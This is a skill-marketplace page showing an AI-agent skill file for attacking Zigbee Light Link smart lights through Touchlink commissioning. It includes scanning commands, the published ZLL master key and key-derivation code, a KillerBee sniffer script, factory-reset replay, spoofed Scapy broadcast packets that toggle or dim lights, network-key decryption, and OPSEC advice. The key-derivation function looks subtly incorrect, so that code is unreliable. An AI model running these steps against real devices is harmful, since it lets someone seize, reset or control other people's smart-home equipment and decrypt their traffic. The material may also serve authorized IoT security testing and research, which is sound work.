Skip to main content

zigbee-touchlink

Touchlink commissioning abuse on Zigbee Light Link (ZLL) devices using the well-known ZLL transport key, ZCL command injection (toggle/move/step), network key extraction, and factory reset via touchlink. Toolchain covers KillerBee, zbstumbler, zbreplay, and Sonoff Zigbee 3.0 Dongle E running Wireshark live capture.

Zur Installation springen

Quellinformationen

Repository
BitterSecurity/Decepticon
Letzte Quellaktivität
30. Mai 2026 um 11:58
Erkannte Sprache von SKILL.md
Englisch
Sterne
5.565
Forks
1.053

Installationsoptionen

Standardmäßig ist der Prompt ausgewählt, der zuerst die Quelle prüft. Sie können zu einem direkten Befehl wechseln oder eine lokale Kopie herunterladen.

Quelldateien prüfen

Lesen Sie SKILL.md und alle von SkillsMP angezeigten Begleitdateien, bevor Sie sich für eine Installation entscheiden.

SKILL.md wird angezeigt

SKILL.md
Quellanweisungen · Schreibgeschützte Vorschau
name
zigbee-touchlink
description
Touchlink commissioning abuse on Zigbee Light Link (ZLL) devices using the well-known ZLL transport key, ZCL command injection (toggle/move/step), network key extraction, and factory reset via touchlink. Toolchain covers KillerBee, zbstumbler, zbreplay, and Sonoff Zigbee 3.0 Dongle E running Wireshark live capture.
allowed-tools
Bash Read Write
metadata
{"subdomain":"iot","when_to_use":"Zigbee, Touchlink, ZLL, ZCL, KillerBee, zbstumbler, zbreplay, Sonoff Zigbee dongle, IEEE 802.15.4, Zigbee network key, commissioning, factory reset, smart bulb, Philips Hue, IKEA Tradfri","tags":"zigbee, touchlink, zll, zcl, killerbee, iot, embedded, 802154","mitre_attack":"T1040, T1190, T1499.004, T1078.001"}
# Zigbee Touchlink Commissioning Abuse > Zigbee Light Link (ZLL) defines a Touchlink commissioning mechanism > intended for close-proximity pairing (≤20 cm). The procedure relies on > a well-known, publicly documented transport key (ZLL Master Key published > in the ZigBee Light Link spec). In practice it works at distances of > several metres with a directional antenna, allowing an attacker to steal > devices off an existing coordinator, factory-reset smart bulbs, or inject > ZCL commands without joining the network. ## Prerequisites - **Hardware**: Sonoff Zigbee 3.0 Dongle-E (CC2652P) with Z-Stack coordinator or sniffer firmware, OR RZUSB (AT86RF233), OR ApiMote v4 (CC2531 based). For highest sensitivity: HackRF + Zigbee SDR (gr-ieee802-15-4) — passive only. - **Firmware options**: - Sniffer: flash `CC2531_sniffer.hex` / `cc2652_sniffer.hex` (TI) — Wireshark source, passive. - Attack: flash `coordinator_20230507.hex` from Z-Stack 3.x — gives full TX. - **Software**: KillerBee suite, Scapy with `scapy-radio`, Python 3.x. ```bash # Install KillerBee (Debian/Kali): git clone https://github.com/riverloopsec/killerbee cd killerbee && pip install . # Confirm dongle detected: zbid ``` ## Phase 1: Passive Channel Scan (zbstumbler) ```bash # Scan all 802.15.4 channels (11-26) and enumerate PAN IDs, coordinators, devices. zbstumbler -i /dev/ttyUSB0 | tee /tmp/zigbee_stumble.txt # Capture all traffic on a discovered channel (e.g., channel 15) to pcap: zbdump -i /dev/ttyUSB0 -c 15 -w /tmp/zigbee_ch15.pcap # Live in Wireshark with the ZEP plugin: wireshark -k -i lo # after running zbwireshark -i /dev/ttyUSB0 -c 15 ``` Key fields to identify in pcap: - **Frame Control** = `0x8841` (Data, ZigBee, PAN compress) - **Cluster ID** = `0x1000` (ZLL Commissioning cluster) - **Command ID** = `0x00` (Scan Request), `0x01` (Scan Response), `0x07` (Touchlink Reset) ## Phase 2: Decode the ZLL Well-Known Transport Key The ZLL Master Key (published in Zigbee spec 11-0037-10) is: ``` ZLL Master Key: 9F 55 95 F1 02 57 C8 A9 65 73 AB 53 EE 2D 4C 0D ``` Derive per-device transport key: ```python from Crypto.Cipher import AES ZLL_MASTER_KEY = bytes.fromhex("9F5595F10257C8A96573AB53EE2D4C0D") def derive_transport_key(transaction_id: bytes, response_id: bytes) -> bytes: """ ZLL key derivation: AES-ECB of (transactionId XOR responseId XOR mask) with master key. Per ZigBee Lighting Profile spec section 8.7. """ data = bytes(a ^ b for a, b in zip(transaction_id + response_id, b'\x00' * 8 + b'\x00' * 8)) cipher = AES.new(ZLL_MASTER_KEY, AES.MODE_ECB) return cipher.encrypt(data) # transaction_id and response_id come from the Scan Request / Scan Response frames. ``` ## Phase 3: Touchlink Scan + Factory Reset KillerBee includes `zbtouchlink` (or use the custom script below): ```bash # Send Touchlink Scan Requests on all channels and listen for responses. # A device that responds is susceptible to touchlink commands. python3 - <<'EOF' import time from killerbee import KillerBee, PcapDumper # Zigbee channel to target (scan 11-26 in production): CHANNEL = 15 IFACE = "/dev/ttyUSB0" kb = KillerBee(device=IFACE) kb.set_channel(CHANNEL) kb.sniffer_on() print(f"[*] Listening on channel {CHANNEL}...") while True: frame = kb.pnext() if frame and frame[0]: data = frame[0] # Check for ZLL Scan Response (Cluster 0x1000, Cmd 0x01) if len(data) > 20: print(f"[+] Frame: {data.hex()}") EOF ``` Factory reset via `zbreplay` / custom ZLL Reset-to-factory-new: ```bash # zbreplay replays a captured factory-reset frame at a target device. # Capture a legitimate Touchlink reset first, then replay. zbreplay -i /dev/ttyUSB0 -c 15 -f /tmp/touchlink_reset.pcap # Or use zbfind to locate the device before resetting: zbfind -i /dev/ttyUSB0 -c 15 ``` ## Phase 4: ZCL Command Injection (no network join required) ZCL commands to the Scenes/On-Off cluster can be sent as broadcast or unicast with the source address spoofed. No association to the PAN is required for broadcast delivery on 802.15.4. ```python from scapy.all import Dot15d4, Dot15d4Data, ZigbeeNWK, ZigbeeSecurityHeader, ZigbeeAppDataPayload # scapy-zigbee or scapy-radio needed for ZigBee layers # Toggle all On/Off devices in PAN (broadcast NWK dst 0xFFFF): pkt = ( Dot15d4(fcf_frametype=1, fcf_srcaddrmode=2, fcf_destaddrmode=2, dest_panid=0xDEAD, dest_addr=0xFFFF, src_addr=0x1234) / ZigbeeNWK(frametype=0, proto_ver=2, discover_route=0, destination=0xFFFF, source=0x1234, radius=1) / ZigbeeAppDataPayload(frametype=1, cluster=0x0006, profile=0x0104, dst_endpoint=0xFF, src_endpoint=0x01) / bytes([0x01, 0x00, 0x02]) # ZCL: frame ctrl, seq, cmd=Toggle ) # send via scapy raw socket on the 802.15.4 interface ``` Known ZCL attack payloads: | Cluster | Command | Effect | |---|---|---| | 0x0006 On/Off | 0x02 Toggle | Flip all lights | | 0x0008 Level Control | 0x00 Move to Level | Set brightness 0 (lights off) | | 0x0003 Identify | 0x00 Identify | Blink device — confirms target | | 0x0300 Color Control | 0x07 Move to Color Temp | Alter scene | ## Phase 5: Network Key Extraction via Touchlink If a Touchlink inter-PAN key transport message is captured, the encrypted NWK key can be decrypted using the derived transport key: ```python from Crypto.Cipher import AES def decrypt_nwk_key(encrypted_key: bytes, transport_key: bytes) -> bytes: cipher = AES.new(transport_key, AES.MODE_ECB) # ZLL key transport uses AES-ECB on the 16-byte encrypted key material. return cipher.decrypt(encrypted_key) ``` With the plaintext NWK key, decrypt all subsequent traffic in Wireshark: - Edit → Preferences → Protocols → ZigBee → Add decryption key. ## Evidence ```bash EVIDENCE="/workspace/evidence/zigbee-touchlink/$(date +%Y%m%d_%H%M%S)" mkdir -p "$EVIDENCE" cp /tmp/zigbee_ch15.pcap "$EVIDENCE/" cp /tmp/zigbee_stumble.txt "$EVIDENCE/" sha256sum "$EVIDENCE"/* >> "$EVIDENCE/sha256.txt" ``` ```python kg_add_node( kind="finding", label=f"Zigbee Touchlink abuse on PAN {pan_id:#06x}", props={ "key": f"zigbee-touchlink::{pan_id}", "pan_id": pan_id, "channel": channel, "nwk_key_hex": nwk_key.hex() if nwk_key else None, "touchlink_reset_success": True, "source": "killerbee+scapy", }, ) ``` ## OPSEC Notes - Factory-reset is destructive and visible — the device drops off the coordinator immediately. Only perform when explicitly authorized. - ZCL broadcast toggle is detectable by the coordinator as spurious traffic from an unregistered source address. - Passive sniffing (zbdump) has zero RF footprint beyond receive. - Touchlink operates in inter-PAN mode: you do NOT need to join the target's PAN to send or receive ZLL commissioning frames. - Channel 25 (2.475 GHz) is the Zigbee primary ZLL channel; channel 11 (2.405 GHz) is common for home automation. Always scan 11-26. ## References - KillerBee: https://github.com/riverloopsec/killerbee - Zigbee Light Link spec (ZLL transport key): ZigBee document 11-0037-10. - Ronen et al. "IoT Goes Nuclear" (2016) — Hue worm via Touchlink at 100m range. - Sonoff Zigbee 3.0 Dongle-E firmware: https://github.com/Koenkk/Z-Stack-firmware
Auf GitHub ansehen